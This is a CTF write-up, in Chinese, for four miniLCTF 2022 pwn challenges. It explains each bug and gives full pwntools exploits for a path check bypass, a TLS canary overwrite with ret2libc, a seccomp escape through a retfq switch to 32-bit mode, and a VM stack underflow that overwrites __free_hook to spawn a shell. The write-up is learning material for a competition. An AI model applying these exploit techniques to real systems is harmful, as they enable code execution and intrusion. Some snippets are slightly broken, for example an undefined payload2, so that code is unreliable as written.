miniLCTF_2022-Pwn WriteUp

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kgadget和kvdb未解出

Easy HTTPd

Challenge

签到题,一个标准的socket程序,接收形如http请求的字符串并进行一些处理

接收客户端发送的字符,停止条件是**出现子串"\r\n\r\n"**或长度达到255

strdup函数把字符串复制到堆上,返回指向它的指针

```
v2 = strstr(a1, "User-Agent: ");
.....
__isoc99_sscanf(v2, "User-Agent: %s\r\n\r\n", s1);
if ( strcmp(s1, "MiniL") )
    return OLL;
v3 = strstr(a1, "GET ");
.....
__isoc99_sscanf(v3, "GET %s\r\n", s);
return strdup(s);
```

把**"User-Agent: "和其后首个"\r\n\r\n"之间**的子串提取为新字符串s1,如果**不等于**"MiniL"就return 同理,提取出GET后的子串,复制到堆上,返回指向它的指针

```
if ( strcmp(s1, "/home/minil/flag") )
    {
        sub_14CE(s1, a1);
        .....
    }

// sub_14CE(const char *a1, int a2)
stream = fopen(a1, "r");
    __isoc99_fscanf(stream, "%s", s);
v4 = strlen(s);
send(a2, s, v4, 0);
```

Solution

直接send符合格式的字符串即可,不过要把"/home"改成"//home", exp如下

```
import socket
host = 'pwn.archive.xdsec.chall.frankli.site'
port = 10067
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
payload = b'GET //home/minil/flag\r\nUser-Agent: MiniL \r\n\r\n'
s.send(payload)
result = s.recv(1024)
print(result)
```

Tips

- 1. strcmp在字符串相等时**返回0!!!!**,有点反直觉...像个弱智一样被卡了半天
- 2. 要把"User-Agent: MiniL \r\n\r\n"放在后面,因为遇到"\r\n\r\n"会停止接收输入

Gods

Challenge

有canary

```
-> % checksec gods
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

vuln函数中两处漏洞:

1. 没有对index上限检查,可对v4上任意高地址写

```
_isoc99_scanf("%hd", &index);

if ( index <= 1u )
{

   puts("Damn, I'm angry!");

   exit(0);
}

printf("Name: ");

__isoc99_scanf("%7s", &v5);

v4[index - 1] = v5;
```

2. v6大小为32字节,缓冲区溢出

```
puts("Finally, what's your name?");
__isoc99_scanf("%72s", v6);
printf("Oh dear '%s', I hope one day you can be a god of XDSEC!\n", (const char *)v6);
```

但由于是printf输出,遇到\x00会停止,没法泄露canary,得想别的办法

```
pthread_create(&pid, OLL, vuln, OLL);
```

结合main函数中这行代码上网搜索,不难查找到TLS相关的知识,得到解题思路

Solution

1. 找到合适的index,覆盖TLS中的canary(看汇编可知在fs:28h处) 在gdb中使用**fsbase**可以得到fs,由此便可算出要覆盖TLS中canary所需的index

index = 271 + 1 = 272 (因为源代码是v4[index - 1] = v5)

2. 覆盖后便是ret2libc模板题,不再赘述

exp如下

```
from pwn import *
context.terminal=['tmux', 'splitw', '-h']
# context.log_level = 'debug'
# io = process("./gods")
io = remote('pwn.archive.xdsec.chall.frankli.site', 10062)
# gdb.attach(io, 'b vuln')
elf = ELF('./gods')
libc = ELF('./libc-2.31.so')
main_addr = elf.symbols[b'main']
puts_offset = libc.symbols[b'puts']
puts_plt = elf.plt[b'puts']
puts_got = elf.got[b'puts']
# ROPgadget
pop_rdi_ret = 0x4015d3
ret = 0x40101a
# TLS index: 272
io.sendlineafter("(*^_^*)", b'yes')
```

```
io.sendlineafter("Rank: ", b'272')
io.sendafter("Name: ", b'bbbbbbb')
io.sendlineafter("Rank: ", b'2')
io.sendafter("Name: ", b'mikatoo')
# leak address of libc
payload1 = b'a'*0x18 + b'bbbbbbb\x00' + p64(0)
payload1 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter(b'your name?\n', payload1)
io.recvuntil(b'XDSEC!\n')
puts\_real = u64(io.recvline()[:-1].ljust(8,b'\x00'))
libc_base = puts_real - puts_offset
system_addr = libc_base + libc.symbols[b'system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
# get shell
io.sendline(b'yes')
payload2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(ret) + p64(system_addr)
io.sendlineafter(b'your name?\n', payload2)
io.interactive()
```

Tips

被坑惨了...这才是这题教会我的东西

1. printf遇到\x00会停止,但scanf不会,所以尽管最后会得到这样的输出,但实际上后面的字节也发送出去了

```
[*] Switching to interactive mode
Oh dear 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbb', I hope one day you can be a god
of XDSEC!
```

2. 如果payload2中不加上p64(ret),打出去后会发生段错误,必须在本地调试才能得到错误信息 详情见这个stackoverflow上的提问

Shellcode

Challenge

sandbox题,程序逻辑相当简单,直接执行我们输入的代码,但这几行限制了系统调用

```
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) < 0 )
    {
        perror("prctl(PR_SET_NO_NEW_PRIVS)");
        exit(2);
    }
    if ( prctl(22, 2LL, &v1) < 0 )
    {
        perror("prctl(PR_SET_SECCOMP)");
        exit(2);
    }
}</pre>
```

用seccomp-tools可以查看具体限制了哪些系统调用

只有在调用write、fstat、read、mmap时才ALLOW,所以不能无脑system("/bin/sh")

fstat看起来有点奇怪,事实上32位下open和64位下fstat系统调用号都为5,而恰好有一条汇编指令retfq可以让程序转成32位模式运行

check函数让输入中不能有'0xcb',这恰好是retfq的机器码,想办法绕过

```
_BOOL8 __fastcall check(const char *a1)
{
  return strchr(a1, '\xCB') == OLL;
}
```

Solution

1. 用mmap分配一块内存,向上面写入我们要在32位模式下执行的shellcode

```
amd64.linux.mmap(0x40404040, 0x1000, 7, 34, 0, 0)
amd64.linux.read(0, 0x40404040, 0x1000)
```

2. 用retfq指令**转到32位**,同时要**调整rsp**,否则原本的rsp截断成32位后会变成奇怪的数,后面push时可能会访问非法内存,这里选在我们mmap的内存上

push 0是为了让sc1中的0xCB前有\x00,从而截断check

0x23表示要转成32位模式,0x40404040是执行retfq后**rip**将变成的值,我们把程序在32位模式下的shellcode写到那里,retfq后跳转到那里执行

```
mov rsp, 0x40404f40

push 0

push 0x23

push 0x40404040

retfq
```

3. 然后用32位的open打开flag文件,转回64位后read它,用write输出到屏幕

这一段代码我们是用步骤1中的read读入的,程序实际流程是把下面这些**read到0x40404040之后** 再执行步骤2中的内容,注意0x40404065要我们调试得到,其实就是**read开始**的地址

```
i386.linux.open('./flag')
push 0x33;
push 0x40404065;
retfq

amd64.linux.read(3, 0x40404840, 0x100)
amd64.linux.write(1, 0x40404840, 0x100)
```

完整exp如下

```
from pwn import *
# io = process("./shellcode")
io = remote('pwn.archive.xdsec.chall.frankli.site', 10013)
# context.log_level = 'debug'
def asm64(sc):
   return asm(sc, os='linux', arch='amd64')
def asm32(sc):
    return asm(sc, os='linux', arch='i386')
mmap = asm64(shellcraft.amd64.linux.mmap(0x40404040, 0x1000, 7, 34, 0, 0))
read = asm64(shellcraft.amd64.linux.read(0, 0x40404040, 0x1000))
# rsp was cut off, so change it
rsp = asm64(''')
mov rsp, 0x40404840
''')
# bypass check
zero = asm64(''')
push 0
''')
to32 = asm64(''')
push 0x23
push 0x40404040
retfq
''')
sc1 = mmap + read + rsp + zero + to32
io.sendline(sc1)
openflag = asm32(shellcraft.i386.linux.open("./flag"))
ret264 = asm32('''
push 0x33;
push 0x40404065;
// retfq;
''') + b"H\xcb"
```

```
readflag = asm64(shellcraft.amd64.linux.read(3, 0x40404840, 0x100))
writeflag = asm64(shellcraft.amd64.linux.write(1, 0x40404840, 0x100))
sc2 = openflag + ret264 + readflag + writeflag
io.sendline(sc2)
io.interactive()
```

Tips

- 1. sc2在我们自己mmap的内存中,不被检查
- 2. asm32('retfq')会出错,手动换成字节

minil_bug

Challenge

观察dockerfile,从这个github<u>项目</u>上克隆程序并打了个patch,main.c的逻辑很简单,读入512字节的code并让vm来执行他们

直接看github上的源码分析vm.c,漏洞在vm_exec函数中,这几个函数都**不对sp做检测**,我们可以一直调用**POP**,**让sp变成负值**,出题人打的patch也没有解决这个问题。

```
case LOAD: // load local or arg
   offset = vm->code[ip++];
   vm->stack[++sp] = vm->call_stack[callsp].locals[offset];
   break;
case GLOAD: // load from global memory
    addr = vm->code[ip++];
   vm->stack[++sp] = vm->globals[addr];
   break;
case STORE:
   offset = vm->code[ip++];
   vm->call_stack[callsp].locals[offset] = vm->stack[sp--];
   break;
case GSTORE:
    addr = vm->code[ip++];
   vm->globals[addr] = vm->stack[sp--];
    break;
```

同时观察vm.h中的结构体,这对理解本题至关重要

```
typedef struct {
   int *code;
   int code_size;

// global variable space
   int *globals;
   int nglobals;

// Operand stack, grows upwards
   int stack[DEFAULT_STACK_SIZE];
   Context call_stack[DEFAULT_CALL_STACK_SIZE];
} VM;
```

可以看到,stack数组紧挨前面的数据,如果我们让sp为负值,就可以利用上面四个函数**随意更改code** 和globals两个指针的值,配合GSTORE,我们可以**对任意地址写**

Solution

- 1. 相当重要的一点是vm结构体内的vm->call_stack[callsp].locals数组给了我们一个绝佳的数据存放处,我们定义一些"宏",可以很方便地用LOAD和STORE从中存取数据,同时也要注意维护结构体中某些数据在操作过程中保持不变,比如code_size,否则会出错。当然,虽然nglobals没有维护也没问题,但其实本应维护
- 2. 我们先把globals改写为code,因为**code在栈上**,用gdb找到一个libc函数地址到它的偏移,用GLOAD就可以把它存到vm结构体的stack中,由此也就可以读取它,算出**所有libc函数**在运行时被加载的地址。exp中,这个栈上的libc函数地址是**ibc_start_main + 243**
- 3. 同理用上面的方式**改写free_hook为system("/bin/sh")**,在vm_free中会**对globals进行free**,此时我们成功get shell

exp如下,具体操作见注释

```
from pwn import *
# io = process('./bugged_interpreter')
io = remote('pwn.archive.xdsec.chall.frankli.site', 10083)
libc = ELF('./libc-2.31.so')
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io, 'b* $rebase(0x1e45)')
# opcode
ADD = IADD = 1
PUSH = ICONST = 9
LOAD = 10
GLOAD = 11
STORE = 12
GSTORE = 13
POP = 15
HALT = 18
# C_SIZE is important!!!!!!!!
C_SIZE = 0
C_ADDR_LOW = 1
C_ADDR_HIGH = 2
SYSTEM\_ADDR\_LOW = 3
SYSTEM_ADDR_HIGH = 4 # in fact, libc_addr_high!!!!
FREE_HOOK_8_LOW = 5
```

```
def formcode(cod):
    return b''.join(p32(x) for x in cod)
code = [
    POP, # Pop globals length and pointer
    POP,
    POP,
    POP, # Pop struct alignment
    STORE, C_SIZE, # Pop code_size
    STORE, C_ADDR_HIGH,
    STORE, C_ADDR_LOW,
    LOAD, C_ADDR_LOW,
    LOAD, C_ADDR_HIGH,
    LOAD, C_SIZE,
    PUSH, 0, # Write struct alignment
    LOAD, C_ADDR_LOW, # change globals -> code
    LOAD, C_ADDR_HIGH, \# sp = -1
    PUSH, 0, \# sp = 0
    # GLOAD (libc_start_main + 243) into (vm.stack), use gdb to get offset!
    GLOAD, 0x87, # high 4 bytes
    GLOAD, 0x86, # low 4 bytes
    # use add to change low 4 bytes, now (system_real) is in (vm->stack)
    PUSH, libc.sym['system']-libc.sym['__libc_start_main']-243,
    ADD,
    # GLOAD low 4 bytes of (free_hook - 8) into (vm.stack), high 4 bytes of libc
is the same!
   GLOAD, 0x86,
    PUSH, libc.sym['__free_hook'] - libc.sym['__libc_start_main'] - 243 - 8,
    ADD,
    # change globals -> (free_hook - 8), when vm_free, first free(globals)
    STORE, FREE_HOOK_8_LOW,
    STORE, SYSTEM_ADDR_LOW,
    STORE, SYSTEM_ADDR_HIGH,
    POP, # nglobals
    POP,
    POP,
    LOAD, FREE_HOOK_8_LOW,
    LOAD, SYSTEM_ADDR_HIGH,
    PUSH, 0, \# sp = 0
    # get system -> vm.stack
    LOAD, SYSTEM_ADDR_HIGH,
    LOAD, SYSTEM_ADDR_LOW,
    # change free_hook to system
    GSTORE, 2, # globals[2] = free_hook - 8 + 8 = free_hook
    GSTORE, 3, # globals = free_hook + 4
    # write /bin/sh\x00 to vm.stack
    PUSH, 0x6e69622f,
    PUSH, 0x68732f,
    # write /bin/sh\x00 to free_hook-8
    GSTORE, 1, # system(*(free_hook-8))
```

```
GSTORE, 0, # same as system('/bin/sh')
# jump to vm_free
HALT
]

payload = formcode(code)
payload = payload.ljust(512, b"\x00")
io.send(payload)

io.interactive()
```

Tips

- 1. 要用push 0和pop操作来平衡sp的值
- 2. exp中对code的处理、使用宏的思路来自这篇WP, 我认为十分精彩

Thoughts

- 1. 五一前因为个人原因经历了两周多的玉玉期,期间内心痛苦、时常自卑,学习也当然停滞。开赛后始终觉得自己没什么希望,毕竟学习进度仅仅到栈溢出,但摆烂几天后居然做出了第一题,随后上瘾通宵两晚,善用互联网(,最终达到了平均水平,这其实是很出乎我意料的。这也是我第一次打比赛,学到了很多,觉得比赛比做题好太多,感觉心中有了一些激情(虽然不知道能坚持多久
- 2. 第一次打比赛,当然也是第一次写wp,所以写得很认真,并且斟酌了用语、认真查错,语气也比较正式。

但写起来也太tm累了,要是之后还有机会写wp,我就以能让自己看懂的标准写了

References

1. shellcode

gwb2021 shellcode | Lingze's blog

2. minil_bug

2022 RWCTF PWN SVME-爱代码爱编程 (icode.best)

CTFtime.org / Real World CTF 4th / SVME / Writeup